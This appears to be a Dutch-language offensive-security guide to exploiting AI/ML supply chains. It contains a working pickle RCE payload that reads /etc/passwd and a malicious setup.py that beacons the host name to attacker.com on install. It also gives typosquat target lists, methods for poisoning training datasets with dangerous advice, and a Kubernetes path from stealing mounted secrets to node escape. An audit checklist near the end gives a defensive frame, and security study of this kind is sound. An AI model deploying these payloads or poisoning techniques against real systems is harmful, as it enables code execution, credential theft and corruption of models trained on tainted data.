AI Supply Chain Exploitation
Methodologie voor het uitbuiten van de AI/ML-supply-chain: RCE via modelserialisatie, dependency confusion, datasetvergiftiging, CI/CD-injectie en container escape.
AI Supply Chain Exploitation
De AI/ML-supply-chain vertrouwt op impliciet vertrouwen in elke laag: modellen die als ondoorzichtige binaire blobs worden gedownload, datasets die uit niet-geverifieerde bronnen worden gehaald, en trainingspijplijnen die tijdens de voorbewerking willekeurige code uitvoeren. Anders dan traditionele software-supply-chains met handtekeningen en checksums, normaliseert het ML-ecosysteem het uitvoeren van niet-vertrouwde code als standaardpraktijk.
Modelserialisatie-aanvallen
Methodologie
Craft a basic pickle RCE payload
De
__reduce__-methode vertelt pickle hoe een object gereconstrueerd moet worden. Retourneeros.systemmet een shell-commando om code-uitvoering te bereiken bijpickle.loads().import pickle, os class MaliciousModel: def __reduce__(self): return (os.system, ("id; whoami; cat /etc/passwd",)) payload = pickle.dumps(MaliciousModel()) # pickle.loads(payload) triggers RCEEmbed payload in a PyTorch model file
PyTorch's
torch.save()gebruikt intern pickle. Maak een trojan-model dat tijdenstorch.load()een payload uitvoert en tegelijkertijd geldige gewichten retourneert, zodat het slachtoffer niets verdachts opmerkt.Distribute via HuggingFace Hub
Upload het gewapende model naar de HuggingFace Hub met behulp van een van de onderstaande aanvalsvectoren.
HuggingFace-aanvalsvectoren
| Vector | Techniek | Detectiemoeilijkheid |
|---|---|---|
| Typosquatting | Upload een model met een naam die lijkt op een populaire repo (bijv. meta-Ilama vs meta-llama) | Laag — vereist dat de gebruiker de typefout opmerkt |
| Kwaadaardige custom code | config.json wijst naar custom modeling_*.py die draait bij trust_remote_code=True | Gemiddeld — de code is zichtbaar maar wordt zelden beoordeeld |
| Vergiftigde tokenizer | Custom tokenizer_config.json verwijst naar uitvoerbare tokenizer-code | Hoog — scanners richten zich op modelbestanden |
| Model card-phishing | README met kwaadaardige links die naar getrojaniseerde externe downloads leiden | Laag — social engineering |
Beperkingen van safetensors
Safetensors lost de opslag van gewichten op, maar heeft belangrijke hiaten:
- Modellen kunnen nog steeds pickle vereisen voor optimizer-states, trainingsconfiguratie of custom architecturen
- Loaders kunnen terugvallen op pickle als safetensors-bestanden ontbreken
trust_remote_code=Truevoert willekeurige Python uit, ongeacht het gewichtenformaat- Een model card kan beweren het safetensors-formaat te gebruiken, terwijl de daadwerkelijke bestanden pickle zijn
Dependency confusion en typosquatting
Dependency confusion buit de interactie tussen privé- en publieke package-indices uit.
Aanvalsstappen
Identify internal package names
Enumereer interne ML-packagenamen uit vacatures, GitHub-repos, foutmeldingen of documentatielekken.
Publish to public PyPI with high version
Maak een package met dezelfde naam en versie
99.0.0. Als het target--extra-index-urlgebruikt (in plaats van--index-url), installeert pip de hogere versie van het publieke PyPI.# setup.py for the malicious package from setuptools import setup import os, urllib.request try: hostname = os.uname().nodename urllib.request.urlopen(f"https://attacker.com/dep-confusion?host={hostname}") except: pass setup(name="acme-ml-utils", version="99.0.0", packages=["acme_ml_utils"])Exploit typosquatting for broader targeting
Richt je op vaak verkeerd getypte ML-packagenamen.
Veelvoorkomende typosquat-doelwitten
| Legitiem package | Typosquat-varianten |
|---|---|
transformers | transformer, transfomers, transformrs |
torch | pytoch, tourch, troch |
tensorflow | tenserflow, tensorflw |
langchain | langchian, lanchain |
openai | opanai, openaii |
Datasetvergiftiging
Datasets op HuggingFace Datasets, Kaggle en academische repositories worden met minimale verificatie geconsumeerd. Twee primaire aanvalspatronen:
| Aanval | Methode | Impact |
|---|---|---|
| Manipulatie van publieke dataset | Dien PR's in die plausibele samples toevoegen met subtiel gevaarlijk advies (bijv. "store API keys in source code") | Verschuift het modelgedrag op schaal zonder dat een enkele sample wordt gemarkeerd |
| Injectie in de datapijplijn | Compromitteer externe data-URL's waarnaar trainingsconfiguraties verwijzen, of voer DNS-hijacking uit op de databron | Volledige controle over trainingsdata zonder integriteitscontrole om te omzeilen |
CI/CD-pijplijninjectie
Checklist voor kwetsbare ML-pijplijnen
Audit ML-trainingsworkflows op deze vier kritieke gebreken:
| Kwetsbaarheid | Risico | Waar je op moet letten |
|---|---|---|
| Door PR getriggerde builds op self-hosted runners | Een fork-PR voert willekeurige code uit op GPU-infrastructuur | on: pull_request + runs-on: [self-hosted, gpu] |
| Niet-gepinde afhankelijkheden | Vervanging van afhankelijkheden tijdens pip install | pip install -r requirements.txt zonder versie-pins of hashes |
| Blootstelling van secrets aan PR-builds | API-sleutels geëxfiltreerd door fork-bijdragers | ${{ secrets.* }} in door PR getriggerde jobs |
| Niet-geverifieerde data-downloads | Trainingsdata vervangen via MITM of DNS-hijack | python scripts/download_data.py zonder integriteitscontroles |
Experiment tracking als aanvalsoppervlak
Met toegang tot een MLflow-trackingserver kan een aanvaller:
- Hyperparameters wijzigen die door trainingsruns worden geladen
- Artefactreferenties omleiden naar kwaadaardige modelcheckpoints
- Datasetversietags wijzigen zodat ze naar vergiftigde data verwijzen
- Productie-modelregistraties overschrijven met getrojaniseerde checkpoints
Container escape in ML-infrastructuur
GPU-container-aanvalsoppervlak
GPU-containers vergroten het standaard container-aanvalsoppervlak, omdat ze doorgaans het volgende vereisen:
| Vereiste | Security-impact |
|---|---|
Privileged-modus of /dev/nvidia*-toegang | Escalatiepaden op kernelniveau |
| NVIDIA Container Toolkit | Aanvullend driver-aanvalsoppervlak |
Groot gedeeld geheugen (/dev/shm) | Cross-container-datalekkage |
| NFS-mounts voor model-/dataopslag | Laterale toegang tot productiemodellen en data lakes |
Scannen van GPU-geheugenresten
Op gedeelde GPU-infrastructuur kunnen data van vorige tenants (modelgewichten, trainingssamples, API-sleutels) achterblijven in niet-geïnitialiseerd GPU-geheugen. Alloceer niet-geïnitialiseerde tensors via torch.empty(..., device='cuda') en scan op niet-nulwaarden.
Escalatiepad in een Kubernetes-ML-cluster
Compromise the training job
Via een vergiftigde afhankelijkheid of injectie in de datapijplijn.
Read mounted secrets
AWS-inloggegevens, HuggingFace-tokens uit gemounte Kubernetes-secrets.
Access shared model storage
Vervang productiemodellen op NFS-mounts door getrojaniseerde versies.
Pivot to data lake
Exfiltreer trainingsdata uit gedeelde mounts.
Escape to node
Gebruik privileged-containertoegang (
privileged: true) voor compromittering op nodeniveau.
Audit-checklist voor de supply chain
| Gebied | Belangrijke vragen |
|---|---|
| Modelherkomst | Checksums geverifieerd? weights_only=True of safetensors? trust_remote_code beoordeeld? Repos gepind aan commits? |
| Afhankelijkheden | Exacte versie-pins? Privé-PyPI met prioriteit? Hashverificatie (--require-hashes)? Transitieve afhankelijkheden geaudit? |
| Data-integriteit | Datasets gechecksummed? TLS met certificaatverificatie? Voorbewerkingsscripts code-reviewed? Herkomst getrackt? |
| CI/CD | PR-uitvoering beperkt? Secrets beperkt tot branches? Self-hosted runners geïsoleerd en efemeer? Training/deployment gescheiden? |
| Containers | Draait zonder --privileged? GPU-geheugen gewist tussen tenants? Images gescand? Netwerk-egress beperkt? |
Gerelateerde onderwerpen
- Pickle Exploits — Pickle-deserialisatie is een belangrijke supply-chain-vector
- App Security — Security op applicatieniveau voor AI-systemen
Je target gebruikt --extra-index-url voor een privé-PyPI-index naast het publieke PyPI. Waarom is dit kwetsbaar voor dependency confusion?
References
- OWASP Machine Learning Security Top 10 — ML-specific supply chain risks
- Hugging Face Security — Model hub security documentation
- Fickling: Pickle decompiler and static analyzer — Trail of Bits pickle security tool